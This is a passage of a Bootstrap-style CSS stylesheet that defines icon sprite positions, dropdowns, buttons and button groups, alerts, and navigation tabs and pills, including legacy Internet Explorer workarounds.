-96px;\n}\n\n.icon-arrow-up {\n    background-position: -289px -96px;\n}\n\n.icon-arrow-down {\n    background-position: -312px -96px;\n}\n\n.icon-share-alt {\n    background-position: -336px -96px;\n}\n\n.icon-resize-full {\n    background-position: -360px -96px;\n}\n\n.icon-resize-small {\n    background-position: -384px -96px;\n}\n\n.icon-plus {\n    background-position: -408px -96px;\n}\n\n.icon-minus {\n    background-position: -433px -96px;\n}\n\n.icon-asterisk {\n    background-position: -456px -96px;\n}\n\n.icon-exclamation-sign {\n    background-position: 0 -120px;\n}\n\n.icon-gift {\n    background-position: -24px -120px;\n}\n\n.icon-leaf {\n    background-position: -48px -120px;\n}\n\n.icon-fire {\n    background-position: -72px -120px;\n}\n\n.icon-eye-open {\n    background-position: -96px -120px;\n}\n\n.icon-eye-close {\n    background-position: -120px -120px;\n}\n\n.icon-warning-sign {\n    background-position: -144px -120px;\n}\n\n.icon-plane {\n    background-position: -168px -120px;\n}\n\n.icon-calendar {\n    background-position: -192px -120px;\n}\n\n.icon-random {\n    background-position: -216px -120px;\n}\n\n.icon-comment {\n    background-position: -240px -120px;\n}\n\n.icon-magnet {\n    background-position: -264px -120px;\n}\n\n.icon-chevron-up {\n    background-position: -288px -120px;\n}\n\n.icon-chevron-down {\n    background-position: -313px -119px;\n}\n\n.icon-retweet {\n    background-position: -336px -120px;\n}\n\n.icon-shopping-cart {\n    background-position: -360px -120px;\n}\n\n.icon-folder-close {\n    background-position: -384px -120px;\n}\n\n.icon-folder-open {\n    background-position: -408px -120px;\n}\n\n.icon-resize-vertical {\n    background-position: -432px -119px;\n}\n\n.icon-resize-horizontal {\n    background-position: -456px -118px;\n}\n\n.icon-hdd {\n    background-position: 0 -144px;\n}\n\n.icon-bullhorn {\n    background-position: -24px -144px;\n}\n\n.icon-bell {\n    background-position: -48px -144px;\n}\n\n.icon-certificate {\n    background-position: -72px -144px;\n}\n\n.icon-thumbs-up {\n    background-position: -96px -144px;\n}\n\n.icon-thumbs-down {\n    background-position: -120px -144px;\n}\n\n.icon-hand-right {\n    background-position: -144px -144px;\n}\n\n.icon-hand-left {\n    background-position: -168px -144px;\n}\n\n.icon-hand-up {\n    background-position: -192px -144px;\n}\n\n.icon-hand-down {\n    background-position: -216px -144px;\n}\n\n.icon-circle-arrow-right {\n    background-position: -240px -144px;\n}\n\n.icon-circle-arrow-left {\n    background-position: -264px -144px;\n}\n\n.icon-circle-arrow-up {\n    background-position: -288px -144px;\n}\n\n.icon-circle-arrow-down {\n    background-position: -312px -144px;\n}\n\n.icon-globe {\n    background-position: -336px -144px;\n}\n\n.icon-wrench {\n    background-position: -360px -144px;\n}\n\n.icon-tasks {\n    background-position: -384px -144px;\n}\n\n.icon-filter {\n    background-position: -408px -144px;\n}\n\n.icon-briefcase {\n    background-position: -432px -144px;\n}\n\n.icon-fullscreen {\n    background-position: -456px -144px;\n}\n\n.dropup,\n.dropdown {\n    position: relative;\n}\n\n.dropdown-toggle {\n    *margin-bottom: -3px;\n}\n\n.dropdown-toggle:active,\n.open .dropdown-toggle {\n    outline: 0;\n}\n\n.caret {\n    display: inline-block;\n    width: 0;\n    height: 0;\n    vertical-align: top;\n    border-top: 4px solid #000000;\n    border-right: 4px solid transparent;\n    border-left: 4px solid transparent;\n    content: \"\";\n    opacity: 0.3;\n    filter: alpha(opacity=30);\n}\n\n.dropdown .caret {\n    margin-top: 8px;\n    margin-left: 2px;\n}\n\n.dropdown:hover .caret,\n.open .caret {\n    opacity: 1;\n    filter: alpha(opacity=100);\n}\n\n.dropdown-menu {\n    position: absolute;\n    top: 100%;\n    left: 0;\n    z-index: 1000;\n    display: none;\n    float: left;\n    min-width: 160px;\n    padding: 4px 0;\n    margin: 1px 0 0;\n    list-style: none;\n    background-color: #ffffff;\n    border: 1px solid #ccc;\n    border: 1px solid rgba(0, 0, 0, 0.2);\n    *border-right-width: 2px;\n    *border-bottom-width: 2px;\n    -webkit-border-radius: 5px;\n    -moz-border-radius: 5px;\n    border-radius: 5px;\n    -webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);\n    -moz-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);\n    box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);\n    -webkit-background-clip: padding-box;\n    -moz-background-clip: padding;\n    background-clip: padding-box;\n}\n\n.dropdown-menu.pull-right {\n    right: 0;\n    left: auto;\n}\n\n.dropdown-menu .divider {\n    *width: 100%;\n    height: 1px;\n    margin: 8px 1px;\n    *margin: -5px 0 5px;\n    overflow: hidden;\n    background-color: #e5e5e5;\n    border-bottom: 1px solid #ffffff;\n}\n\n.dropdown-menu a {\n    display: block;\n    padding: 3px 15px;\n    clear: both;\n    font-weight: normal;\n    line-height: 18px;\n    color: #333333;\n    white-space: nowrap;\n}\n\n.dropdown-menu li > a:hover,\n.dropdown-menu .active > a,\n.dropdown-menu .active > a:hover {\n    color: #ffffff;\n    text-decoration: none;\n    background-color: #0088cc;\n}\n\n.open {\n    *z-index: 1000;\n}\n\n.open > .dropdown-menu {\n    display: block;\n}\n\n.pull-right > .dropdown-menu {\n    right: 0;\n    left: auto;\n}\n\n.dropup .caret,\n.navbar-fixed-bottom .dropdown .caret {\n    border-top: 0;\n    border-bottom: 4px solid #000000;\n    content: \"\\2191\";\n}\n\n.dropup .dropdown-menu,\n.navbar-fixed-bottom .dropdown .dropdown-menu {\n    top: auto;\n    bottom: 100%;\n    margin-bottom: 1px;\n}\n\n.typeahead {\n    margin-top: 2px;\n    -webkit-border-radius: 4px;\n    -moz-border-radius: 4px;\n    border-radius: 4px;\n}\n\n.well {\n    min-height: 20px;\n    padding: 19px;\n    margin-bottom: 20px;\n    background-color: #f5f5f5;\n    border: 1px solid #eee;\n    border: 1px solid rgba(0, 0, 0, 0.05);\n    -webkit-border-radius: 4px;\n    -moz-border-radius: 4px;\n    border-radius: 4px;\n    -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05);\n    -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05);\n    box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05);\n}\n\n.well blockquote {\n    border-color: #ddd;\n    border-color: rgba(0, 0, 0, 0.15);\n}\n\n.well-large {\n    padding: 24px;\n    -webkit-border-radius: 6px;\n    -moz-border-radius: 6px;\n    border-radius: 6px;\n}\n\n.well-small {\n    padding: 9px;\n    -webkit-border-radius: 3px;\n    -moz-border-radius: 3px;\n    border-radius: 3px;\n}\n\n.fade {\n    opacity: 0;\n    -webkit-transition: opacity 0.15s linear;\n    -moz-transition: opacity 0.15s linear;\n    -ms-transition: opacity 0.15s linear;\n    -o-transition: opacity 0.15s linear;\n    transition: opacity 0.15s linear;\n}\n\n.fade.in {\n    opacity: 1;\n}\n\n.collapse {\n    position: relative;\n    height: 0;\n    overflow: hidden;\n    -webkit-transition: height 0.35s ease;\n    -moz-transition: height 0.35s ease;\n    -ms-transition: height 0.35s ease;\n    -o-transition: height 0.35s ease;\n    transition: height 0.35s ease;\n}\n\n.collapse.in {\n    height: auto;\n}\n\n.close {\n    float: right;\n    font-size: 20px;\n    font-weight: bold;\n    line-height: 18px;\n    color: #000000;\n    text-shadow: 0 1px 0 #ffffff;\n    opacity: 0.2;\n    filter: alpha(opacity=20);\n}\n\n.close:hover {\n    color: #000000;\n    text-decoration: none;\n    cursor: pointer;\n    opacity: 0.4;\n    filter: alpha(opacity=40);\n}\n\nbutton.close {\n    padding: 0;\n    cursor: pointer;\n    background: transparent;\n    border: 0;\n    -webkit-appearance: none;\n}\n\n.btn {\n    display: inline-block;\n    *display: inline;\n    padding: 4px 10px 4px;\n    margin-bottom: 0;\n    *margin-left: .3em;\n    font-size: 13px;\n    line-height: 18px;\n    *line-height: 20px;\n    color: #333333;\n    text-align: center;\n    text-shadow: 0 1px 1px rgba(255, 255, 255, 0.75);\n    vertical-align: middle;\n    cursor: pointer;\n    background-color: #f5f5f5;\n    *background-color: #e6e6e6;\n    background-image: -ms-linear-gradient(top, #ffffff, #e6e6e6);\n    background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#ffffff), to(#e6e6e6));\n    background-image: -webkit-linear-gradient(top, #ffffff, #e6e6e6);\n    background-image: -o-linear-gradient(top, #ffffff, #e6e6e6);\n    background-image: linear-gradient(top, #ffffff, #e6e6e6);\n    background-image: -moz-linear-gradient(top, #ffffff, #e6e6e6);\n    background-repeat: repeat-x;\n    border: 1px solid #cccccc;\n    *border: 0;\n    border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n    border-color: #e6e6e6 #e6e6e6 #bfbfbf;\n    border-bottom-color: #b3b3b3;\n    -webkit-border-radius: 4px;\n    -moz-border-radius: 4px;\n    border-radius: 4px;\n    filter: progid:dximagetransform.microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6e6e6', GradientType=0);\n    filter: progid:dximagetransform.microsoft.gradient(enabled=false);\n    *zoom: 1;\n    -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);\n    -moz-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);\n    box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);\n}\n\n.btn:hover,\n.btn:active,\n.btn.active,\n.btn.disabled,\n.btn[disabled] {\n    background-color: #e6e6e6;\n    *background-color: #d9d9d9;\n}\n\n.btn:active,\n.btn.active {\n    background-color: #cccccc \\9;\n}\n\n.btn:first-child {\n    *margin-left: 0;\n}\n\n.btn:hover {\n    color: #333333;\n    text-decoration: none;\n    background-color: #e6e6e6;\n    *background-color: #d9d9d9;\n    /* Buttons in IE7 don't get borders, so darken on hover */\n\n    background-position: 0 -15px;\n    -webkit-transition: background-position 0.1s linear;\n    -moz-transition: background-position 0.1s linear;\n    -ms-transition: background-position 0.1s linear;\n    -o-transition: background-position 0.1s linear;\n    transition: background-position 0.1s linear;\n}\n\n.btn:focus {\n    outline: thin dotted #333;\n    outline: 5px auto -webkit-focus-ring-color;\n    outline-offset: -2px;\n}\n\n.btn.active,\n.btn:active {\n    background-color: #e6e6e6;\n    background-color: #d9d9d9 \\9;\n    background-image: none;\n    outline: 0;\n    -webkit-box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);\n    -moz-box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);\n    box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);\n}\n\n.btn.disabled,\n.btn[disabled] {\n    cursor: default;\n    background-color: #e6e6e6;\n    background-image: none;\n    opacity: 0.65;\n    filter: alpha(opacity=65);\n    -webkit-box-shadow: none;\n    -moz-box-shadow: none;\n    box-shadow: none;\n}\n\n.btn-large {\n    padding: 9px 14px;\n    font-size: 15px;\n    line-height: normal;\n    -webkit-border-radius: 5px;\n    -moz-border-radius: 5px;\n    border-radius: 5px;\n}\n\n.btn-large [class^=\"icon-\"] {\n    margin-top: 1px;\n}\n\n.btn-small {\n    padding: 5px 9px;\n    font-size: 11px;\n    line-height: 16px;\n}\n\n.btn-small [class^=\"icon-\"] {\n    margin-top: -1px;\n}\n\n.btn-mini {\n    padding: 2px 6px;\n    font-size: 11px;\n    line-height: 14px;\n}\n\n.btn-primary,\n.btn-primary:hover,\n.btn-warning,\n.btn-warning:hover,\n.btn-danger,\n.btn-danger:hover,\n.btn-success,\n.btn-success:hover,\n.btn-info,\n.btn-info:hover,\n.btn-inverse,\n.btn-inverse:hover {\n    color: #ffffff;\n    text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);\n}\n\n.btn-primary.active,\n.btn-warning.active,\n.btn-danger.active,\n.btn-success.active,\n.btn-info.active,\n.btn-inverse.active {\n    color: rgba(255, 255, 255, 0.75);\n}\n\n.btn {\n    border-color: #ccc;\n    border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n}\n\n.btn-primary {\n    background-color: #0074cc;\n    *background-color: #0055cc;\n    background-image: -ms-linear-gradient(top, #0088cc, #0055cc);\n    background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#0088cc), to(#0055cc));\n    background-image: -webkit-linear-gradient(top, #0088cc, #0055cc);\n    background-image: -o-linear-gradient(top, #0088cc, #0055cc);\n    background-image: -moz-linear-gradient(top, #0088cc, #0055cc);\n    background-image: linear-gradient(top, #0088cc, #0055cc);\n    background-repeat: repeat-x;\n    border-color: #0055cc #0055cc #003580;\n    border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n    filter: progid:dximagetransform.microsoft.gradient(startColorstr='#0088cc', endColorstr='#0055cc', GradientType=0);\n    filter: progid:dximagetransform.microsoft.gradient(enabled=false);\n}\n\n.btn-primary:hover,\n.btn-primary:active,\n.btn-primary.active,\n.btn-primary.disabled,\n.btn-primary[disabled] {\n    background-color: #0055cc;\n    *background-color: #004ab3;\n}\n\n.btn-primary:active,\n.btn-primary.active {\n    background-color: #004099 \\9;\n}\n\n.btn-warning {\n    background-color: #faa732;\n    *background-color: #f89406;\n    background-image: -ms-linear-gradient(top, #fbb450, #f89406);\n    background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#fbb450), to(#f89406));\n    background-image: -webkit-linear-gradient(top, #fbb450, #f89406);\n    background-image: -o-linear-gradient(top, #fbb450, #f89406);\n    background-image: -moz-linear-gradient(top, #fbb450, #f89406);\n    background-image: linear-gradient(top, #fbb450, #f89406);\n    background-repeat: repeat-x;\n    border-color: #f89406 #f89406 #ad6704;\n    border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n    filter: progid:dximagetransform.microsoft.gradient(startColorstr='#fbb450', endColorstr='#f89406', GradientType=0);\n    filter: progid:dximagetransform.microsoft.gradient(enabled=false);\n}\n\n.btn-warning:hover,\n.btn-warning:active,\n.btn-warning.active,\n.btn-warning.disabled,\n.btn-warning[disabled] {\n    background-color: #f89406;\n    *background-color: #df8505;\n}\n\n.btn-warning:active,\n.btn-warning.active {\n    background-color: #c67605 \\9;\n}\n\n.btn-danger {\n    background-color: #da4f49;\n    *background-color: #bd362f;\n    background-image: -ms-linear-gradient(top, #ee5f5b, #bd362f);\n    background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#ee5f5b), to(#bd362f));\n    background-image: -webkit-linear-gradient(top, #ee5f5b, #bd362f);\n    background-image: -o-linear-gradient(top, #ee5f5b, #bd362f);\n    background-image: -moz-linear-gradient(top, #ee5f5b, #bd362f);\n    background-image: linear-gradient(top, #ee5f5b, #bd362f);\n    background-repeat: repeat-x;\n    border-color: #bd362f #bd362f #802420;\n    border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n    filter: progid:dximagetransform.microsoft.gradient(startColorstr='#ee5f5b', endColorstr='#bd362f', GradientType=0);\n    filter: progid:dximagetransform.microsoft.gradient(enabled=false);\n}\n\n.btn-danger:hover,\n.btn-danger:active,\n.btn-danger.active,\n.btn-danger.disabled,\n.btn-danger[disabled] {\n    background-color: #bd362f;\n    *background-color: #a9302a;\n}\n\n.btn-danger:active,\n.btn-danger.active {\n    background-color: #942a25 \\9;\n}\n\n.btn-success {\n    background-color: #5bb75b;\n    *background-color: #51a351;\n    background-image: -ms-linear-gradient(top, #62c462, #51a351);\n    background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#62c462), to(#51a351));\n    background-image: -webkit-linear-gradient(top, #62c462, #51a351);\n    background-image: -o-linear-gradient(top, #62c462, #51a351);\n    background-image: -moz-linear-gradient(top, #62c462, #51a351);\n    background-image: linear-gradient(top, #62c462, #51a351);\n    background-repeat: repeat-x;\n    border-color: #51a351 #51a351 #387038;\n    border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n    filter: progid:dximagetransform.microsoft.gradient(startColorstr='#62c462', endColorstr='#51a351', GradientType=0);\n    filter: progid:dximagetransform.microsoft.gradient(enabled=false);\n}\n\n.btn-success:hover,\n.btn-success:active,\n.btn-success.active,\n.btn-success.disabled,\n.btn-success[disabled] {\n    background-color: #51a351;\n    *background-color: #499249;\n}\n\n.btn-success:active,\n.btn-success.active {\n    background-color: #408140 \\9;\n}\n\n.btn-info {\n    background-color: #49afcd;\n    *background-color: #2f96b4;\n    background-image: -ms-linear-gradient(top, #5bc0de, #2f96b4);\n    background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#5bc0de), to(#2f96b4));\n    background-image: -webkit-linear-gradient(top, #5bc0de, #2f96b4);\n    background-image: -o-linear-gradient(top, #5bc0de, #2f96b4);\n    background-image: -moz-linear-gradient(top, #5bc0de, #2f96b4);\n    background-image: linear-gradient(top, #5bc0de, #2f96b4);\n    background-repeat: repeat-x;\n    border-color: #2f96b4 #2f96b4 #1f6377;\n    border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n    filter: progid:dximagetransform.microsoft.gradient(startColorstr='#5bc0de', endColorstr='#2f96b4', GradientType=0);\n    filter: progid:dximagetransform.microsoft.gradient(enabled=false);\n}\n\n.btn-info:hover,\n.btn-info:active,\n.btn-info.active,\n.btn-info.disabled,\n.btn-info[disabled] {\n    background-color: #2f96b4;\n    *background-color: #2a85a0;\n}\n\n.btn-info:active,\n.btn-info.active {\n    background-color: #24748c \\9;\n}\n\n.btn-inverse {\n    background-color: #414141;\n    *background-color: #222222;\n    background-image: -ms-linear-gradient(top, #555555, #222222);\n    background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#555555), to(#222222));\n    background-image: -webkit-linear-gradient(top, #555555, #222222);\n    background-image: -o-linear-gradient(top, #555555, #222222);\n    background-image: -moz-linear-gradient(top, #555555, #222222);\n    background-image: linear-gradient(top, #555555, #222222);\n    background-repeat: repeat-x;\n    border-color: #222222 #222222 #000000;\n    border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n    filter: progid:dximagetransform.microsoft.gradient(startColorstr='#555555', endColorstr='#222222', GradientType=0);\n    filter: progid:dximagetransform.microsoft.gradient(enabled=false);\n}\n\n.btn-inverse:hover,\n.btn-inverse:active,\n.btn-inverse.active,\n.btn-inverse.disabled,\n.btn-inverse[disabled] {\n    background-color: #222222;\n    *background-color: #151515;\n}\n\n.btn-inverse:active,\n.btn-inverse.active {\n    background-color: #080808 \\9;\n}\n\nbutton.btn,\ninput[type=\"submit\"].btn {\n    *padding-top: 2px;\n    *padding-bottom: 2px;\n}\n\nbutton.btn::-moz-focus-inner,\ninput[type=\"submit\"].btn::-moz-focus-inner {\n    padding: 0;\n    border: 0;\n}\n\nbutton.btn.btn-large,\ninput[type=\"submit\"].btn.btn-large {\n    *padding-top: 7px;\n    *padding-bottom: 7px;\n}\n\nbutton.btn.btn-small,\ninput[type=\"submit\"].btn.btn-small {\n    *padding-top: 3px;\n    *padding-bottom: 3px;\n}\n\nbutton.btn.btn-mini,\ninput[type=\"submit\"].btn.btn-mini {\n    *padding-top: 1px;\n    *padding-bottom: 1px;\n}\n\n.btn-group {\n    position: relative;\n    *margin-left: .3em;\n    *zoom: 1;\n}\n\n.btn-group:before,\n.btn-group:after {\n    display: table;\n    content: \"\";\n}\n\n.btn-group:after {\n    clear: both;\n}\n\n.btn-group:first-child {\n    *margin-left: 0;\n}\n\n.btn-group + .btn-group {\n    margin-left: 5px;\n}\n\n.btn-toolbar {\n    margin-top: 9px;\n    margin-bottom: 9px;\n}\n\n.btn-toolbar .btn-group {\n    display: inline-block;\n    *display: inline;\n    /* IE7 inline-block hack */\n\n    *zoom: 1;\n}\n\n.btn-group > .btn {\n    position: relative;\n    float: left;\n    margin-left: -1px;\n    -webkit-border-radius: 0;\n    -moz-border-radius: 0;\n    border-radius: 0;\n}\n\n.btn-group > .btn:first-child {\n    margin-left: 0;\n    -webkit-border-bottom-left-radius: 4px;\n    border-bottom-left-radius: 4px;\n    -webkit-border-top-left-radius: 4px;\n    border-top-left-radius: 4px;\n    -moz-border-radius-bottomleft: 4px;\n    -moz-border-radius-topleft: 4px;\n}\n\n.btn-group > .btn:last-child,\n.btn-group > .dropdown-toggle {\n    -webkit-border-top-right-radius: 4px;\n    border-top-right-radius: 4px;\n    -webkit-border-bottom-right-radius: 4px;\n    border-bottom-right-radius: 4px;\n    -moz-border-radius-topright: 4px;\n    -moz-border-radius-bottomright: 4px;\n}\n\n.btn-group > .btn.large:first-child {\n    margin-left: 0;\n    -webkit-border-bottom-left-radius: 6px;\n    border-bottom-left-radius: 6px;\n    -webkit-border-top-left-radius: 6px;\n    border-top-left-radius: 6px;\n    -moz-border-radius-bottomleft: 6px;\n    -moz-border-radius-topleft: 6px;\n}\n\n.btn-group > .btn.large:last-child,\n.btn-group > .large.dropdown-toggle {\n    -webkit-border-top-right-radius: 6px;\n    border-top-right-radius: 6px;\n    -webkit-border-bottom-right-radius: 6px;\n    border-bottom-right-radius: 6px;\n    -moz-border-radius-topright: 6px;\n    -moz-border-radius-bottomright: 6px;\n}\n\n.btn-group > .btn:hover,\n.btn-group > .btn:focus,\n.btn-group > .btn:active,\n.btn-group > .btn.active {\n    z-index: 2;\n}\n\n.btn-group .dropdown-toggle:active,\n.btn-group.open .dropdown-toggle {\n    outline: 0;\n}\n\n.btn-group > .dropdown-toggle {\n    *padding-top: 4px;\n    padding-right: 8px;\n    *padding-bottom: 4px;\n    padding-left: 8px;\n    -webkit-box-shadow: inset 1px 0 0 rgba(255, 255, 255, 0.125), inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);\n    -moz-box-shadow: inset 1px 0 0 rgba(255, 255, 255, 0.125), inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);\n    box-shadow: inset 1px 0 0 rgba(255, 255, 255, 0.125), inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);\n}\n\n.btn-group > .btn-mini.dropdown-toggle {\n    padding-right: 5px;\n    padding-left: 5px;\n}\n\n.btn-group > .btn-small.dropdown-toggle {\n    *padding-top: 4px;\n    *padding-bottom: 4px;\n}\n\n.btn-group > .btn-large.dropdown-toggle {\n    padding-right: 12px;\n    padding-left: 12px;\n}\n\n.btn-group.open .dropdown-toggle {\n    background-image: none;\n    -webkit-box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);\n    -moz-box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);\n    box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);\n}\n\n.btn-group.open .btn.dropdown-toggle {\n    background-color: #e6e6e6;\n}\n\n.btn-group.open .btn-primary.dropdown-toggle {\n    background-color: #0055cc;\n}\n\n.btn-group.open .btn-warning.dropdown-toggle {\n    background-color: #f89406;\n}\n\n.btn-group.open .btn-danger.dropdown-toggle {\n    background-color: #bd362f;\n}\n\n.btn-group.open .btn-success.dropdown-toggle {\n    background-color: #51a351;\n}\n\n.btn-group.open .btn-info.dropdown-toggle {\n    background-color: #2f96b4;\n}\n\n.btn-group.open .btn-inverse.dropdown-toggle {\n    background-color: #222222;\n}\n\n.btn .caret {\n    margin-top: 7px;\n    margin-left: 0;\n}\n\n.btn:hover .caret,\n.open.btn-group .caret {\n    opacity: 1;\n    filter: alpha(opacity=100);\n}\n\n.btn-mini .caret {\n    margin-top: 5px;\n}\n\n.btn-small .caret {\n    margin-top: 6px;\n}\n\n.btn-large .caret {\n    margin-top: 6px;\n    border-top-width: 5px;\n    border-right-width: 5px;\n    border-left-width: 5px;\n}\n\n.dropup .btn-large .caret {\n    border-top: 0;\n    border-bottom: 5px solid #000000;\n}\n\n.btn-primary .caret,\n.btn-warning .caret,\n.btn-danger .caret,\n.btn-info .caret,\n.btn-success .caret,\n.btn-inverse .caret {\n    border-top-color: #ffffff;\n    border-bottom-color: #ffffff;\n    opacity: 0.75;\n    filter: alpha(opacity=75);\n}\n\n.alert {\n    padding: 8px 35px 8px 14px;\n    margin-bottom: 18px;\n    color: #c09853;\n    text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5);\n    background-color: #fcf8e3;\n    border: 1px solid #fbeed5;\n    -webkit-border-radius: 4px;\n    -moz-border-radius: 4px;\n    border-radius: 4px;\n}\n\n.alert-heading {\n    color: inherit;\n}\n\n.alert .close {\n    position: relative;\n    top: -2px;\n    right: -21px;\n    line-height: 18px;\n}\n\n.alert-success {\n    color: #468847;\n    background-color: #dff0d8;\n    border-color: #d6e9c6;\n}\n\n.alert-danger,\n.alert-error {\n    color: #b94a48;\n    background-color: #f2dede;\n    border-color: #eed3d7;\n}\n\n.alert-info {\n    color: #3a87ad;\n    background-color: #d9edf7;\n    border-color: #bce8f1;\n}\n\n.alert-block {\n    padding-top: 14px;\n    padding-bottom: 14px;\n}\n\n.alert-block > p,\n.alert-block > ul {\n    margin-bottom: 0;\n}\n\n.alert-block p + p {\n    margin-top: 5px;\n}\n\n.nav {\n    margin-bottom: 18px;\n    margin-left: 0;\n    list-style: none;\n}\n\n.nav > li > a {\n    display: block;\n}\n\n.nav > li > a:hover {\n    text-decoration: none;\n    background-color: #eeeeee;\n}\n\n.nav > .pull-right {\n    float: right;\n}\n\n.nav .nav-header {\n    display: block;\n    padding: 3px 15px;\n    font-size: 11px;\n    font-weight: bold;\n    line-height: 18px;\n    color: #999999;\n    text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5);\n    text-transform: uppercase;\n}\n\n.nav li + .nav-header {\n    margin-top: 9px;\n}\n\n.nav-list {\n    padding-right: 15px;\n    padding-left: 15px;\n    margin-bottom: 0;\n}\n\n.nav-list > li > a,\n.nav-list .nav-header {\n    margin-right: -15px;\n    margin-left: -15px;\n    text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5);\n}\n\n.nav-list > li > a {\n    padding: 3px 15px;\n}\n\n.nav-list > .active > a,\n.nav-list > .active > a:hover {\n    color: #ffffff;\n    text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.2);\n    background-color: #0088cc;\n}\n\n.nav-list [class^=\"icon-\"] {\n    margin-right: 2px;\n}\n\n.nav-list .divider {\n    *width: 100%;\n    height: 1px;\n    margin: 8px 1px;\n    *margin: -5px 0 5px;\n    overflow: hidden;\n    background-color: #e5e5e5;\n    border-bottom: 1px solid #ffffff;\n}\n\n.nav-tabs,\n.nav-pills {\n    *zoom: 1;\n}\n\n.nav-tabs:before,\n.nav-pills:before,\n.nav-tabs:after,\n.nav-pills:after {\n    display: table;\n    content: \"\";\n}\n\n.nav-tabs:after,\n.nav-pills:after {\n    clear: both;\n}\n\n.nav-tabs > li,\n.nav-pills > li {\n    float: left;\n}\n\n.nav-tabs > li > a,\n.nav-pills > li > a {\n    padding-right: 12px;\n    padding-left: 12px;\n    margin-right: 2px;\n    line-height: 14px;\n}\n\n.nav-tabs {\n    border-bottom: 1px solid #ddd;\n}\n\n.nav-tabs > li {\n    margin-bottom: -1px;\n}\n\n.nav-tabs > li > a {\n    padding-top: 8px;\n    padding-bottom: 8px;\n    line-height: 18px;\n    border: 1px solid transparent;\n    -webkit-border-radius: 4px 4px 0 0;\n    -moz-border-radius: 4px 4px 0 0;\n    border-radius: 4px 4px 0 0;\n}\n\n.nav-tabs > li > a:hover {\n    border-color: #eeeeee #eeeeee #dddddd;\n}\n\n.nav-tabs > .active > a,\n.nav-tabs > .active > a:hover {\n    color: #555555;\n    cursor: default;\n    background-color: #ffffff;\n    border: 1px solid #ddd;\n    border-bottom-color: transparent;\n}\n\n.nav-pills > li > a {\n    padding-top: 8px;\n    padding-bottom: 8px;\n    margin-top: 2px;\n    margin-bottom: 2px;\n    -webkit-border-radius: 5px;\n    -moz-border-radius: 5px;\n    border-radius: 5px;\n}\n\n.nav-pills > .active > a,\n.nav-pills > .active > a:hover {\n    color: #ffffff;\n    background-color: #0088cc;\n}\n\n.nav-stacked > li {\n    float: none;\n}\n\n.nav-stacked > li > a {\n    margin-right: 0;\n}\n\n.nav-tabs.nav-stacked {\n    border-bottom: 0;\n}\n\n.nav-tabs.nav-stacked > li > a {\n    border: 1px solid #ddd;\n    -webkit-border-radius: 0;\n    -moz-border-radius: 0;\n    border-radius: 0;\n}\n\n.nav-tabs.nav-stacked > li:first-child > a {\n    -webkit-border-radius: 4px 4px 0 0;\n    -moz-border-radius: 4px 4px 0 0;\n    border-radius: 4px 4px 0 0;\n}\n\n.nav-tabs.nav-stacked > li:last-child > a {\n    -webkit-border-radius: 0 0 4px 4px;\n    -moz-border-radius: 0 0 4px 4px;\n    border-radius: 0 0 4px 4px;\n}\n\n.nav-tabs.nav-stacked > li > a:hover {\n    z-index: 2;\n    border-color: #ddd;\n}\n\n.nav-pills.nav-stacked > li > a {\n    margin-bottom: 3px;\n}\n\n.nav-pills.nav-stacked > li:last-child > a {\n    margin-bottom: 1px;\n}\n\n.nav-tabs .dropdown-menu {\n    -webkit-border-radius: 0 0 5px 5px;\n    -moz-border-radius: 0 0 5px 5px;\n    border-radius: 0 0 5px 5px;\n}\n\n.nav-pills .dropdown-menu {\n    -webkit-border-radius: 4px;\n    -moz-border-radius: 4px;\n    border-radius: 4px;\n}\n\n.nav-tabs 